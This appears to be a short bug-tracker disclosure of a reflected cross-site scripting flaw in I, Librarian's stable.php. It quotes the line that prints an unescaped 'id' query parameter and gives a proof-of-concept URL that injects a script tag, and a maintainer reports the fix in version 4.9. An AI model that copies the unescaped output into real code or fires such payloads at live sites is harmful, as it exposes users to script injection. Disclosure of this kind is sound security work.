Reflected XSS vulnerability

[xssssrf]

i-librarian/stable.php

Line 8 in 9535753

<a href="<?php print IL_URL; ?>?id=<?php print $_GET['id']; ?>" style="display:block">

When $stablelinks == '1' at ilibrarian-default.ini,it could cause a reflective XSS.

POC:
http://localhost/Librarian/stable.php?id="/><script>confirm(document.domain)</script>

[mkucej]

Thanks, we'll fix this.

[mkucej]

fixed in 4.9